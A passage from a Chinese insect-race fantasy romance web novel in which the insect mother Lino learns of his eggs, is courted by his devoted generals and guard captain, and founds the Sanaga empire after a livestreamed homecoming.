安瑟姆带着一些亲自做的食物打开门，撞见发呆的利诺，忧心：“冕下，您生病了？” 利诺眨眨眼：“我要生蛋了，安瑟姆，还是十一颗！” 虫母的基因让利诺并不抵触这种孕育，他就是需要时间想清楚为什么他需要产蛋！虫母不是虫族首领吗？谁家首领需要产蛋的！ 第32章 虫母！虫母！原来虫母就是虫族的妈妈呀，利诺完全想通了，他是个能生孩子的首领！ 这么一想，利诺觉得自己还挺厉害？？毕竟哪个种族的首领会有生蛋这一项技能？也就只有他利诺会了！ 果然，这首领只有他利诺能当得明白，也只有他利诺能当！ 短短几个呼吸，利诺卷入头脑风暴，然后得出一个结论，真不愧是他！他就连生蛋都是最优秀的！ 小虫母从怀疑虫生到震惊再到大彻大悟，最后模样又喜滋滋的……安瑟姆不惊讶利诺说的要生蛋，毕竟早先赫弥珞就告知了他。 但是……“冕下，您没事吧？”安瑟姆不明白虫母那张不大的脸是如何在这么短的时间内做出那么多丰富的表情，难道是因为虫蛋要出来了？ 安瑟姆丢下盘子，利诺平时喜欢的小零食打乱掉在地上，他冲过去将利诺打横抱起来。 目光在利诺平坦的小腹停留一瞬：“冕下，你的意思是虫蛋要出来了？” 冷汗从这位稳重的护卫长额头滑下，握剑、射击都想当稳的手颤抖。 安瑟姆的嘴唇泛白：“怎么办……冕下，军舰的医疗设备太疼了……” 虫族的军舰有配备的医疗设备，但相对简陋，且为了不让虫族士兵沉溺在治疗的舒适中而出厂自带疼痛电击装备。 士兵们皮糙肉厚，电上几下、疼上一会儿就当醒神，但这种设备哪里能够资格让他们的冕下使用？！ 而利诺突然进入迷雾之门的原因，导致蓝星那里没能根据利诺进校前的体检报告提前做出一套特殊温柔的、专为虫母设置的医疗设备。 因此利诺才没有在回去的路上先用军舰的医疗舱检查身体，只等着回到蓝星再详细检查这位尊贵冕下的身体。 谁知好巧不巧又遇到第二扇迷雾之门，冕下还在里面孕育了虫蛋…… 安瑟姆不知所措，整只虫害怕得抖成筛子，整个虫族都没有什么生产经验，他们压根就不知道以虫体孕育虫蛋的流程，万一利诺冕下出了事，他也不会苟活…… 利诺无语，他哪里知道他的护卫长已经做好殉情的决定了：“我没说我要生！安瑟姆你抖什么抖，地板漏电了？” 安瑟姆艰难开口：“冕下，您现在有什么感觉？” “没感觉。”利诺在安瑟姆的怀里调整了个姿势，“我的意思是，原来我意识海里结的果子原来是虫蛋……” 他庆幸道：“幸亏我当初没把他们当果子啃了。” 差点就成吃孩子的虫中汉尼拔了…… “？！”赫弥珞处理一部分公务，不放心利诺，挤出一点时间回来，正巧听见安瑟姆焦急的话语。 厚脸皮跟着一起回来的拉斐尔：“？？？” 最后一个知道的拉斐尔羡慕得红了眼珠，酸溜溜道：“元帅阁下真是幸运，不仅意识海被冕下修补好了，还有了和冕下的孩子……” 拉斐尔不羡慕赫弥珞有孩子，而是羡慕赫弥珞和利诺有了孩子。 赫弥珞摆出最终胜利者的姿态，摸到利诺的腹部：“冕下，您觉得不舒服吗？” “没在这。”利诺双手拽着赫弥珞的头放到自己额头，翻了个白眼，“你孩子在这里。” 虫族的生育知识几乎没有，赫弥珞仅能从蓝星前种族的残留文明中找到一点蛛丝马迹。 一只手掌的手心就能盖住利诺脑门的赫弥珞沉默了，饶是他经历的战争够多，也想不出来利诺用脑门孕育子嗣的样子。 于是元帅虚心求救：“冕下，这样是否会影响到你的身体健康？” 要是会影响，赫弥珞不会再让那些虫蛋活着。虽说虫族仅依靠科技繁衍的方法行不通，但若是要付出利诺的生命和健康去孕育这种子搜，赫弥珞绝对不会允许。 不止赫弥珞，所有虫族都不会同意。 利诺覆上赫弥珞的手，一根精神丝线链接，虫族的意识随着他的指引望到意识海内的那颗古怪的树。 赫弥珞看到了挂在树上、整整齐齐的十一颗白色虫蛋，因为有他的基因，白色的壳在向银白色转变。 【妈妈妈妈！】 【妈妈来了……妈妈带了个跟屁虫进来！】 【只喜欢妈妈……妈妈身边的虫子好讨厌……】 活泼的虫蛋左右摇摆，幼稚地表示对利诺的喜爱以及对另一半基因给予者的嫌弃。 赫弥珞没什么情感波动，父爱什么的更是不存在，他只是觉得他的小虫母应该会很累。 【乖乖的哦！我不喜欢不乖的孩子！】利诺对虫蛋还是有点感情的，拥有上辈子记忆的他不算是纯粹冰冷的虫族。 还在虫树上生长的虫蛋连忙点头，享受来自妈妈爱的摸摸。 由虫母孕育出来的他们，仅有的幼年时期便是这段待在妈妈意识海内的时间。 虫蛋们比利诺要了解自己，他们一颗一颗地排着队告诉他们的妈妈，等他们这里成熟，他们就会成为妈妈最忠诚的子嗣。 最大的那颗蛋毫不掩饰自己的竞争：【妈妈，外面的虫虫都坏坏，只有我才是妈妈的亲亲大宝贝。】 利诺不允许他掌控的虫族有起内讧的风险，而且教育要从蛋抓起。 他直接给这只亲亲大宝贝来了个大嘴巴子，把蛋打得晕晕乎乎又委委屈屈。 赫弥珞在旁边事不关己，不忘让利诺轻一点，他怕利诺打出去的精神触角会疼。 在虫母爱的教育下，大蛋老实认错，并保证以后一定团结友爱所有虫子。 利诺满意收起精神触角，带着赫弥珞从他的意识海内出来。 所有虫蛋都静悄悄地悬挂在树间，在亲爱的妈妈离开后继续休眠，他们要快快长大，去外面帮妈妈开辟领地！ 揍了顿虫蛋的利诺好心情地问赫弥珞：“怎么样？” 他是在问赫弥珞对这些虫蛋是看法，赫弥珞摸摸利诺的额头，俯身在上面亲了口。 额头相靠，赫弥珞的竖瞳深得发黑：“冕下，有任何不对劲都要和我说，我不在就和安瑟姆、和拉斐尔他们说。” “我只看得到您，冕下，我只爱您，只在意您。” 好肉麻，但……利诺的脸红红的，他不懂情爱，没有恋爱经验，但不妨碍他被赫弥珞打动。 在全是俊男的虫族内，赫弥珞不仅尤其英俊，就连身材也很棒呢！ 纤长的睫毛如同轻薄的蝶翼抖动，利诺：“好哦，我当然知道！” 随即话语一转：“你的军务交接处理完了？” 然而利诺态度最积极的，永远是他的权柄。 赫弥珞和拉斐尔加班加点处理政务，就是为了将其完全整理，以便利诺回到蓝星后正式交接。 拉斐尔温和地笑：“冕下，元帅阁下只完成了三分之一的事务。” 他自责道：“都怪我把手头上的政务完成后说来看看您，结果元帅阁下听到后，想也不想就扔下军务过来了。” 拉斐尔叹息：“是我不该在元帅面前说话。” “……”赫弥珞回头看拉斐尔的眼神杀气腾腾，可恶的拉斐尔陷害虫的话张嘴就来。 利诺踢了下赫弥珞硬邦邦的小腿，催促：“别傻站着，赶紧去做完。” “遵命，冕下。”赫弥珞不情不愿去处理，拉斐尔真假话对半分，他反驳不了。 况且这次是军务转接确实重要，他多做一点，等利诺接手时就会轻松一点。 安瑟姆将地上散落的吃食收拾干净：“冕下，我再去准备一份。” 利诺招招手，同意安瑟姆，也让拉斐尔过来，似笑非笑：“拉斐尔贵人在书上似乎学到了不少东西？” “冕下不要开我的玩笑了。”一想到这个，拉斐尔强颜欢笑，失去了温柔儒雅的学者形象。 可能是看了那本什么后宫传的缘故，拉斐尔进入的幻境极其怪异，小虫母是皇帝，赫弥珞是皇后，安瑟姆是贵妃，就连伊戈提安和希尔维乌斯都是妃嫔。 只有他！位分低得可怜，不仅不被利诺喜爱，还要被这些虫族欺负陷害…… 在幻境最后，没有记忆而完全傻白甜的拉斐尔被迫担上谋害皇后的罪名，即将要被动怒的利诺拉出去砍头。 拉斐尔捂住脸，他从来没有一刻这般希望自己记忆力可以差点，不然也不至于到现在都把这段黑历史记得清楚！ 从幻境中出来，拉斐尔就明白了，看什么书、秘籍都不管用，要抢来利诺冕是喜爱，他终究得靠自己！ 拉斐尔咬住口腔内的分泌腺：“冕下，要吃我的蜜液吗？你好久没有吃了，是不喜欢我的味道吗？” 酸甜味的菠萝清爽可口，尝过这种味道的利诺怎么可能不喜欢。 只是利诺遗憾地推开凑过来的拉斐尔：“我早上吃得很饱。” 在拉斐尔眼神落寞失望时，利诺极力安抚这位下属：“等明天晚上。” 小虫母头疼，有时候优秀下属太多也不是什么好事，要实现雨露均沾绝非易事。 送走心花怒放的拉斐尔，安瑟姆带着新的甜点零食回来，利诺吃了口酥脆的小饼干：“安瑟姆，你的手艺越来越好了。” “冕下爱吃就好。”安瑟姆说完，将腕表的全息投影展现，“对了，您喜欢这座宫殿吗？” 这是一座极其豪华的宫殿，位于在蓝星最高军部的所在地也是最繁荣的太尚区中心，占地面积堪比两个足球场。 宫殿超级大，也超级漂亮，利诺两辈子没见过这么奢华的建筑物。 “这是什么时候建的？”利诺放大投影的细节，全息投影的优势在于可以通过扫描图将外面和内里看个清楚，完全符合利诺的审美，这种金灿灿的颜色到处都是金钱的气息，吸一口都仿佛带着金币的香气！ 这样巨大的工程量，绝对不是一两日就可以完成的，利诺有些忐忑，他还没有正式掌控虫族：“会不会不太好？” 这要放在上辈子，利诺这种首领是绝对会被下属骂的。 安瑟姆点头：“确实不太好。” 利诺心里咯噔了声。 紧接着，安瑟姆解释：“时间太短了，就算所有的工蚁一起出动，再加上其他虫族帮忙，也没有将冕下未来居住的地方打造得更加完美。” 安瑟姆歉疚地说：“冕下，您放心，这只是个临时住所，新的宫殿已经在蓝星卫星之一阿赫美星建造了。整个阿赫美星都将是您的宫殿与游玩场。” 利诺被惊得说不出话来：“咱们虫族大部分兵力不是都用来抵抗迷雾入侵了吗？”哪来的那么多资源和虫力？ 安瑟姆如实道：“当然是虫群听说冕下您的宫殿建造，能回来的都回来帮忙了。” “但即便如此，这座宫殿也很简陋。”安瑟姆没说的是，在宫殿完工当天，要不是有军部士兵看守，其中的几只工蚁差点就要把自己撞死了。 工蚁是数量最多的后勤虫种，虫族每驱散迷雾、打下一个星球，都是由工蚁负责开发星球、建造各类虫群定居活动的房屋设备，然后再有其他后勤虫种例如农蜂、甲护虫等进行种植、培育照顾虫蛋等。 他们的蜜液分泌腺并不像其他虫族那样发达，而是在长期的劳作中退化成一团活性不大的组织。 但这团组织偶尔也会分泌液体，扰乱工蚁的工作，分泌腺切除手术最初就是因为工蚁有需求而出现的，后来才逐渐扩展到整个虫群。 那几只工蚁伤心地哭诉：“我把蜜液分泌腺切除掉了，如今连给冕下的宫殿都建不好，我还有什么资格活着！” 听者伤心闻者落泪，越来越多切除分泌腺的虫族，不管是后勤兵种还是战斗兵种都纷纷抱头大哭。 要不是军部高层及时阻止，恐怕虫族在迎接利诺回归之前，还要先处理一堆虫族尸体…… 如今虫族的星网上有一堆之前贪图方便切除分泌腺的虫族天天除了工作和战斗就是哭嚎自己逝去的蜜液分泌腺。 利诺没有上网的习惯，他大多时间都在训练和学习，少有的闲暇时光也用在提高自己的内卷上，根本不清楚还有这种事情。 安瑟姆耐心道：“您要是不满意，蓝星还有两颗卫星可以建造宫殿，除此之外的星系……” 眼看安瑟姆越说越离谱，利诺堵住安瑟姆的嘴巴：“蓝星这个就够了！” 他义正言辞：“我们现在的目标不是兴师动众给我建宫殿，而是彻底驱散迷雾！” 安瑟姆微愣：“可是您值得最好的！” “迷雾消失对我来说就是最值得的。”利诺摸摸护卫长的头发，“我知道安瑟姆想对我好，谢谢你。” 小虫母长着一双眼尾上扬的多情眼，当他全神贯注地和某虫对视时，总会给对方一种自己被深爱的错觉。 对安瑟姆来说不算错觉，利诺确实很喜欢外能征战内能绣花烤小饼干的护卫长。 “冕下，我明白了，我会向其他虫族传达您的意愿。”过了片刻，安瑟姆回过神。 偏麦色的皮肤泛起红，他很直白地吐露心声：“冕下很让我心动。” “我可以亲亲您吗？” 不知何时，利诺坐在了安瑟姆的大腿上。 这很正常，利诺经常被高大的护卫长抱来抱去，他很习惯和安瑟姆近距离接触。 利诺不抗拒，他搂住安瑟姆的脖颈，闭上眼，语气纵容：“看在你给我绣小蝴蝶的份上，本虫母允许你亲吻！” 亲一下不会掉块肉，这是利诺在几次亲吻中获得的经验。 然而，被没有章法的安瑟姆从外到里啃上一遍，唇被叼着厮磨发红，牙齿碰撞，口腔内的所有部位都被护卫长又吸又咬后，利诺又多了一个经验。 那就是，接吻不会掉肉，但口水会被吃干净，口腔肉会被虫族的口器搜刮欺负！ 安瑟姆本应该顺着之前受过的指导，亲吻嘴唇，然后用舌头伺候虫母的口腔，让虫母愉悦。 但是第一次真正意义的亲吻，安瑟姆这个老实憨厚的虫却不打算循规蹈矩。 在照顾利诺、让利诺舒服的前提下，安瑟姆化作半人半虫的模样，将闭眼的小虫母揉入胸口，狰狞的口器吸吮润润的嘴唇，吃干净冕下的口水，就像冕下曾经抱着他的翅膀吃蜜液那行。 口腔的软肉也不放过，都被安瑟姆的口器欺负了一遍，在小虫母被亲到颤抖时，安瑟姆才有分寸地变回人型的英俊模样，细细碾磨红肿的唇舌。 如果蜜液的味道如利诺嘴巴里的液体一样好，那么安瑟姆就明白为什么每次利诺吃蜜液都是急吼吼的样子了。 因为利诺冕下很甜，甜到了他的心坎。 利诺头次知道被亲昏是种什么感受，他在赫弥珞那里只知道被做昏是什么感觉，亲吻什么的都是他主导。 这次被亲到躺在安瑟姆的胸肌上失神的经历，利诺不会再体验第二次。 丢虫，太丢虫了！ “冕下？冕——下——”安瑟姆的呼唤换来利诺恼羞成怒的两脚。 既然冕下的脚自动送到了他的手里，安瑟姆没有浪费这次机会，而是顺势给利诺做了个全身按摩。 他新学会的，据说可以缓解疲劳。 利诺舒服得小声哼哼，因为安瑟姆极其擅长哄利诺，利诺完全忘记自己被亲恼的事情，又是一只笑容甜甜的漂亮蝴蝶。 从迷雾之门出来后过了两天，军舰群终于带着他们期盼已久的虫母冕下从高空降落到停渡口。 利诺穿戴整齐，不怎么听话的白粉毛现在服帖垂落，五官艳丽精致，银灰色的眼瞳笑意吟吟。 “冕下，等会儿舱门打开，会有面向四大星系全部虫族的镜头直播。”安瑟姆提醒。 这直播是利诺提出来的，毕竟他要掌控的不仅是蓝星上的虫族，而是分布在所有星系的虫群。 利诺需要将最好的状态展现给他的虫群，这是他掌控虫群至关重要的第一步！ 第33章 停渡口的虫族并不多，军部提前进行了清场，以免个别虫族的不理智行为惊吓到虫母冕下。 尽管利诺还没有真正出现在虫族面前，虫族对其的疯狂已经可见一斑。 虫族士兵在各自的岗位值守，目前在军部的军团长、参谋等地位相对重要的虫族等在军舰的外面，他们彼此间并不交流，而是将炙热的目光投在军舰上。 几台直播的摄像设备在空中悬浮，虫族在战斗工作之余当然会有少数的娱乐时间，观看直播是其中一个。 在这天之前，直播内容大多是与怪物作战的血腥画面，毕竟战斗和杀戮是虫族的根本。 不过在虫母出现后，虫族的根本和唯一就成了虫母，虫群会本能地狂热追随他们的母亲。 直播间应该有留言飘过的面板也一个通用语文字都没有，无法亲眼见到虫母的虫族满心都是冕下，根本没有心思说闲话。 强悍冷漠的虫群在此时的渴望达到高度一致，他们想要见到虫母冕下，这位在初次精神链接中用极其好听的声音说“你们好”的存在。 没有利诺的允许，他的影像不会出现在星网中，然而即使这些虫族不知道虫母长什么样子，也因为那简短的声音而深深着迷。 虫母光是诞生和存在，就足以让最固执的虫族折服，将自己的爱与忠诚先给冕下。 科研院有详细的数据分析，从虫母的存在曝光后，所有的虫子在各自岗位上效率比之前整整提高了两倍，而和虫母有关的工作则提高到不可思议的十倍。 大多对自己的生死和种族延续保持无所谓态度的虫群突然激发了前所未有的斗志，他们或是亢奋地杀敌驱散迷雾，或是在后方兴奋地生产各种虫群需要的物资。 虫母是补齐虫族这个新生种族的最后一块拼图，所有虫群都清楚地意识到，虫母对他们的影响。 那是本能，他们本能地爱着小虫母，本能地想要做更多来让小虫母高兴。 他们存在的意义不是驱散迷雾，而是为了喜爱的虫母能够开心。 军舰门开启，身形单薄的青年从容走下阶梯，他带着随和的笑，白色碎发随风轻颤，玫瑰红的发尾恰到好处地卷曲。 虫族魂牵梦绕的妈妈出现在镜头前，他没有其他虫族的健壮，美丽又脆弱，光是呼吸就能调动虫群的情绪。 除却在迷雾中厮杀、无法通过腕表登录星网的虫族，全部虫子都守在腕表前，竖瞳异化，狂热地盯着利诺，拟态的眼皮并不眨动，因为眨眼一次，就会让他们少零点一秒看到冕下的时间。 那是他们的虫母冕下啊，是他们的妈妈、母亲，也是他们的挚爱！ 利诺认为直播时表现出来的温柔和善可以让他更快掌握整只虫族，这是他上辈子从基地首领那里学到的。 老不死的王八蛋极其擅长操纵人心，利诺也只是偷学到一点皮毛。 然而他却没有意识到，他在第一次迷雾之门内试探的精神链接早就征服了所有虫群，此时的直播，只会让这些虫群更加疯狂。 利诺在镜头的面前露出亲和的笑容，然后慢慢走到明显是迎接他的军部高层面前。 他一抬头，就看见好几条红步漂浮在高空，上面写着：“恭迎冕下回归！”“冕下的认同就是我们的荣誉，冕下的鞭策就是我们的动力！”“冕下冕下，宇宙第一！” …… 利诺嘴角的笑容差点没保持住，鞋里的脚趾恨不能抠出一座三层豪华大别墅。 要命，这是哪只虫族想出来的？ 特意打扮的小虫母太漂亮了，就连几天没有见到利诺的希尔维乌斯和伊戈提安都失神片刻。 显然，利诺在飞快进步，在英玛星军校时，他还是个不那么普通的新生，在经历两扇迷雾之门的洗礼后，利诺多了些说不清道不明的变化。 如果非要形容，利诺更像一名合格的掌权者了。 利诺本就长在虫族的审美点上，气质的改变让慕强的虫族更难以将视线从他的身上移开。 希尔维乌斯最先回过神，单膝跪地，为利诺献上最崇高的礼节：“冕下，希尔维乌斯恭迎您的回归！” 饶是性子淡漠的希尔维乌斯，在面对利诺时也不免眼神火热，心跳加速。 所有虫族回过神，纷纷行礼，齐刷刷的跪地声让利诺感到腿疼。 直播只持续了不到十分钟就被关闭，时间很短，但足够了，利诺勾唇，他意识海内极速闪动的千万星点已然给了他掌权的自信。 直播关闭，投影前的虫族才从发愣中醒过来，只是怦怦跳的心脏和翅根分泌的蜜液残留着虫母对他们的影响。 始终无虫发言的评论区陆续有文字浮现。 【想给冕下喂食！我有好多蜜液的，冕下看看我！】 【嘿嘿，冕下，嘿嘿，妈妈……】 【冕下！我爱的冕下！冕下和我想象的一模一样，那么漂亮温柔……（此处省略八百个形容词）】 【……我还是去死吧，没了蜜液分泌腺的我就是一只废虫，我甚至无法喂饱冕下！】 【作为和冕下一起进入过迷雾之门的幸运虫族，我警告部分虫族，冕下亲口说过不喜欢没有意义的死亡。】 【能再说说冕下喜欢什么吗？我要朝冕下喜欢的方向努力。】 利诺并不知道评论区的无比热烈，全是以利诺为核心的讨论，有甚者开始热火朝天分析利诺喜欢穿花色内裤的虫族还是纯色内裤的虫族…… 片刻后，利诺和军部高层坐在会议室内，蓝星的最高军部一共有六个军团，军团长全是从厮杀中走上来的虫族佼佼者。 赫弥珞和拉斐尔是仅次于利诺，在军部军衔最高的虫族，一左一右坐在利诺两边。 安瑟姆和几名护卫则站在利诺身后，沉默守护。 “冕下，二军军长伊戈提安我就不用向您介绍了。”希尔维乌斯率先给利诺介绍，他跳过伊戈提安，指着一只虫族道，“这是三军军长卓姆索尔。” 一只外貌坚毅的虫族从座位上站起来，弯腰俯首：“冕下日安。” 利诺笑容甜甜：“你也日安，卓姆索尔。” 卓姆索尔被小虫母迷的晕乎乎，红着脸规矩做下。 “这是四军军长墨菲迪斯。”希尔维乌斯简略道。 酒红头发的张扬虫族站起来行礼，在被利诺给予了甜笑后，同样眩晕加脸红。 希尔维乌斯又向利诺介绍了其他几只虫族后，不等利诺问剩下的五军和六军军长，就道：“五军军长希莱耳和六军军长克凛恩目前正在拉圣腓星系边缘驱散暂定三号未知星系的迷雾，没有办法回来。” 他将桌子上的一个小盒子推给利诺：“这是五军军长和六军军长给您寄回来的道歉礼物。” 盒子不大，利诺打开后就看到里面放置的漂亮石块，翠绿颜色的，不像玉也不是宝石。 他举起来对着灯光观察，也看不出来什么：“这是什么啊？” 仰着头的小虫母在会议室里露出丝他这个年龄会有的好奇和探究欲，会议室的虫族看到这一幕，顿时心软得一塌糊涂。 伊戈提安不屑地瞥了眼，抢先解释：“是生命石，它不是目前虫族四大星系的东西，估计是那两虫子在外星系的星球上找到的。” “冕下，您不是有一块黑土地嘛，到时候捏碎这块石头，把碎末撒在上面，种植后的植物生长速度会变快，产量也会变高。”伊戈提安翘着二郎腿。 这东西很少见，蓝星的最高军部也只找到过两颗，可就这两颗生命石，让虫族两个农业星球的作物产量大大提升。 知道这东西的珍贵，利诺小心放回盒子里，关于黑土地的事等下要和科研院的人。 利诺很兴趣地问：“你们已经开始向四大星系之外的区域进军了？” 希尔维乌斯点头：“回冕下，在一年前我们就已经开始了，目前已经驱散了十个星球的迷雾。” 利诺点点头：“很不错。” 希尔维乌斯冷冰冰的脸上多了些笑意，眼神温柔缠绵：“有冕下在，进展只会更快。” 不仅是因为利诺可以稳定虫族因为频繁进入迷雾之门而紊乱的意识海，还以为那些虫族本身也恨不得早早驱散迷雾，回来见利诺。 这时，赫弥珞将纸质版的方案分发给在场的虫族，包括利诺。 他道：“冕下，既然您已回归，虫族也应该建立一个完整的帝国了。” 松散的虫族由于虫母的出现而变成一根缠绕紧实的绳结，严谨的政权建立不仅有助于利诺更好掌控虫族，也有利于虫族的进一步延续。 虫族没有类似的经验，上辈子在幸存基地出生成长的利诺也没有，于是虫族们采用原文明残留下政权结构并修改，做出这个简单的方案。 利诺打开，陷入无言的恍惚。 建议一个以虫母为绝对统治者的帝国政权这没毛病，虫母的意志是全体虫族的规则也没大问题…… 但是……利诺举起文件，指着一行字问，愣愣的：“这个帝国名字是什么意思？” 拉斐尔颇为得意：“冕下，这是我的主意。挚爱利诺帝国，以冕下您的名字为名，我认为虫群会更有集体荣誉感！” 衣鱼提了提眼镜架：“您觉得怎么样？” 不怎么样，真是好土好羞耻的一个名字啊！ “……”利诺沉默良久，“外面的横幅也是你的主意？” 伊戈提安赶忙举手：“冕下！冕下！横幅是我的主意，上面的标语也是我想出来的！” 高级虫族得意道：“我最喜欢那句‘冕下冕下，宇宙在第一！’，您喜欢吗？” 利诺捏碎了文案：“并不喜欢呢！伊戈提安，限你在十分钟内把横幅吃下去！” 伊戈提安委屈：“冕下，你为什么这么对我？那‘冕下的认同就是我们的荣誉，冕下的鞭策就是我们的动力！’这句话您喜欢吗？” “都不喜欢，都给我吃下去！”利诺恶狠狠瞪了伊戈提安一眼，他现在明白为什么都喊伊戈提安是混蛋了！ 利诺无视伊戈提安委屈小媳妇的视线，对拉斐尔道：“其他的你们决定就好，我对这方面并不熟悉，但是这个名字要改。” 除了利诺，在场的虫族面露遗憾，他们很喜欢这个名字，简单粗暴，能够充分表达出他们对冕下的热爱！ 觉得这个名字很好听的拉斐尔只得道：“您有什么想法吗？” “改成……”利诺没想太久，“萨那加，就叫萨那加！” 萨那加在星际语中是希望和胜利的意思，也是利诺对虫群的希望。 在这一天，一个前所未有的强大国家诞生，虫群的威名也会响彻整个宇宙。 之后，利诺进入科研院，用专门的设备做了一套身体检查，才和护卫一同回到建造完毕的宫殿中。 他被眼珠馈赠的黑土地大多数都交给了科研院，让他们进行研究和种植，剩下约莫一亩的黑土则被利诺放在宫殿准备好的花园里。 等气候合适，利诺要在上面试着自己种菜。 五军和六军的军长们送的生命石利诺没打算用，这是他的两位下属送的礼物，利诺会好好珍藏起来。 虫母的宫殿很大，光类别就有好几种，休息的寝殿、议事的政殿、游乐的殿宇等等…… 安瑟姆是护卫队队长，他的房间就在利诺的隔壁，方便利诺有事叫安瑟姆。 利诺打了个哈欠，贴在安瑟姆身上撒娇：“帮我揉头，安瑟姆。” “冕下今天辛苦了。”安瑟姆悉心缓解利诺的疲惫，抿抿唇，“但是您今天很棒！” 利诺歪头：“真的吗？” “恩，优秀的冕下让我无法移开视线。”安瑟姆的话语直白，偏黑的肤色发红。 利诺睁着眼看了安瑟姆一会儿，随即笑起来：“谢谢你哦，安瑟姆！” 他摸了摸安瑟姆的耳垂，很烫，护卫长在害羞，然而这只好欺负的虫族会红着脸将他亲到昏沉。 “咚咚！”伊戈提安在外面敲门，嗓门很大，“冕下，我把横幅吃掉了，求求您不要生气了。” 等不到利诺的回答，伊戈提安又道：“冕下，我又想了个新标语，您要听吗？” “您想听的话，我说给您啊！” 仍旧没等来小虫母说话，伊戈提安不死心：“汪汪汪，冕下，你就不要我了吗？” “汪汪汪——” 伊戈提安话好密，叫声也好吵，利诺揉揉额角，将伊戈提安放了进来。 伊戈提安丝滑溜进来，瞥了眼抱着利诺的安瑟姆，厚颜无耻：“安瑟姆，你累了吗？我帮你抱冕下。” 安瑟姆木着脸：“我不累。” 利诺哼了声，离开安瑟姆，坐到沙发上，扬起下巴，不是很高兴地道：“伊戈提安，你好烦！” 伊戈提安狗腿地溜过来，蹲在利诺旁边，就与坐在沙发上的利诺视线齐平。 暗红的竖瞳丝毫不掩饰他对利诺的喜爱：“冕下别嫌弃我，我给您带了礼物！” 利诺懒洋洋：“什么礼物？” 伊戈提安一只始终放在身后的手摆在利诺的眼前，他的手指掐着一颗和他的拳头差不多大的黑珍珠。 而黑珍珠的个头与利诺的脸差不多，散发着温润神秘的光泽。 伊戈提安这次送礼物送到利诺的心头了，他立马盯着那颗珍珠不动了。 “冕下，我撬了好久才在一个大蚌里找到的。”伊戈提安将珍珠放到利诺的怀里，“您喜欢吗？” 利诺蹭了蹭珍珠，感觉良好，他眼睛亮亮的：“喜欢！” 伊戈提安低笑出声，宠溺道：“我还有个星球产宝石，改天我带您去那里挖大宝石！” 顺便可以和冕下来个美妙的约会！ 利诺重重点头：“可以！”他今晚要抱着这颗大珍珠睡觉！ 高等虫族含笑凝视利诺，觉得自己不眠不休花了好几天去撬那颗珍珠星球上多半的大蚌壳值了。 利诺蹭了会儿，然后重申道：“我不是喜欢钱，我就是觉得它漂亮！” “我知道我知道！”伊戈提安接话，“我也喜欢，我和冕下就是天生一对！” 虫族甜言蜜语的话张口就来：“冕下，我对您的心意您有感受到吗？” 这话不说还好，利诺闻言想起来一段视频：“伊戈提安，我给你看个东西。” 伊戈提安还不知道大祸临头，还乐呵着：“好啊！和冕下相处是我的荣幸。” 他把两天前无意看到的视频放出来，一边摸着圆珍珠，一边侧头去看伊戈提安的反应。 要不是伊戈提安来了，他差点忘了要找伊戈提安算账。 投影中，军装的伊戈提安猖狂不屑：“看在同族的份上，我尽量不打死那只狗屁莫须有的虫母！” 伊戈提安的脸色煞白，瞳孔放大。 利诺收回视线，故作伤心，睫毛微垂：“伊戈提安，原来你是这样想我的吗？” 两天前，利诺跟着拉斐尔在军舰上学习文化知识，在他摆弄拉斐尔的腕表时，看到了这段视频。 拉斐尔之前确实有想把这视频给利诺，把不敬虫母的伊戈提安好好惩治一番，可是后来和利诺的感情加深，他根本不舍得让利诺伤心，这视频也就抛到脑后。 但拉斐尔没想到，利诺会破解他的密码，继而看到了这段视频。 说实话，利诺在看到这段视频时确实有点伤心，画面里的伊戈提安太桀骜不驯，和他眼中的英俊小狗一点都不一样。 安瑟姆不动声色地离开房间，冕下要开始捉弄犯错的虫族了，他得在利诺玩累、觉得饿前烤好利诺喜欢吃的小饼干。 第34章 恐惧、惶恐和胆怯等种种根本不可能出现在虫族身上的情绪全部涌现在伊戈提安的心头，耳朵一阵嗡鸣的杂乱，所有维持生理运动的身体循环完全停止。 伊戈提安英俊深邃的脸早已苍白一片，深红的瞳孔死死盯着腕表上的影像，只觉得上面大言不惭嘲讽虫母的虫族那副嘴脸可真是丑陋。 而紧接着他就意识到，他就是这只长着丑陋嘴脸的虫族。 伊戈提安仓皇地望向利诺，就看到他放在心尖尖上、每天都在绞尽脑汁想法设法讨好的小虫母低垂眼睫，眼尾微红。 他让冕下难过了，冕下的眼睛都红了…… 伊戈提安不知道要怎么办了，他平时话又多又密，别的虫一句话他能回击十句话。 他从来不缺话说，只是现在，伊戈提安居然发现自己也有词穷的时候，一个字都吐不出，只能傻愣着，又带着丝绝望地等待被小蝴蝶的厌弃。 伊戈提安在虫族中是只不算异类的异类，说是异类，是因为他的性格太恶劣，看戏不嫌事大，还喜欢亲自加入其中搞事，因此荣获“军部那混蛋”的别称。 可他的基因和性格都很完美，并没有和众多低劣的虫蛋那样还没有出生或在成熟前被集中销毁。 说他不是异类，是因为他骨子里和所有虫族一样的冷漠自傲。 在利诺还没有出现但拉斐尔已经提出虫母存在论的时候，蓝星最高军部分成两个派系。 一派是拉斐尔、希尔维乌斯这种主张寻找虫母、支持虫母的虫族，他们模拟虫母存在的好处，提前为虫母培养忠诚的护卫士兵，为未来虫母的掌权做准备。 一派是五军军长希莱耳和六军军长克凛恩这种压根不相信虫母会存在的虫族，他们只喜欢杀戮，不关心虫族的未来，也不觉得区区一只虫母就可以改变整只虫群的未来走向。 伊戈提安哪一派也不是，但他热衷搞事，今天去希尔维乌斯那里说希莱耳认为相信虫母存在的虫族都是傻子，后天去克凛恩那里状若无意谈起那支被专门培养的护卫队…… 他对虫母的存在也是无所谓的态度，并且坚信就算有虫母，他也不会臣服，他关了那么多门爬上军长的位置，可不是要给自己找个莫须有的妈妈的。 那时候的想法是那时候的想法，伊戈提安如今想起来都想抽自己两个耳光，他最拥护利诺冕下了，他怎么会讨厌利诺冕下呢？他只会后悔当初没加入护卫队抢走安瑟姆的护卫长一职！ 他可太羡慕安瑟姆能够被小蝴蝶吃蜜液、躺尾钩了！ 伊戈提安做足思想准备，语气干涩：“冕下，对不起，我……我为我曾经的无知和浅薄道歉，您不要难过……” “如果您不解气，可以杀死我。” 骄傲的高级虫族垂下头颅，扒下上衣，肌肉精壮，虫纹安静盘踞在后背。 背脊舒展一双偏扁平长尖的火红色半透明虫翼，这是荒漠追寻蚁的翅膀。 与此同时，一根粗大畸形的深红尾钩张扬着令敌人浑身生寒的倒刺，爬到利诺附近。 和虫族强大的战力一样，虫族本身的生命力也极其强悍，只有折掉他的翅膀、砍断他的尾钩，并刺穿他胸口的心脏，才可以彻底杀死这只虫族。 但凡缺一样，虫族都可以坚持到伤口愈合，支撑他继续在危险的战场上杀戮。 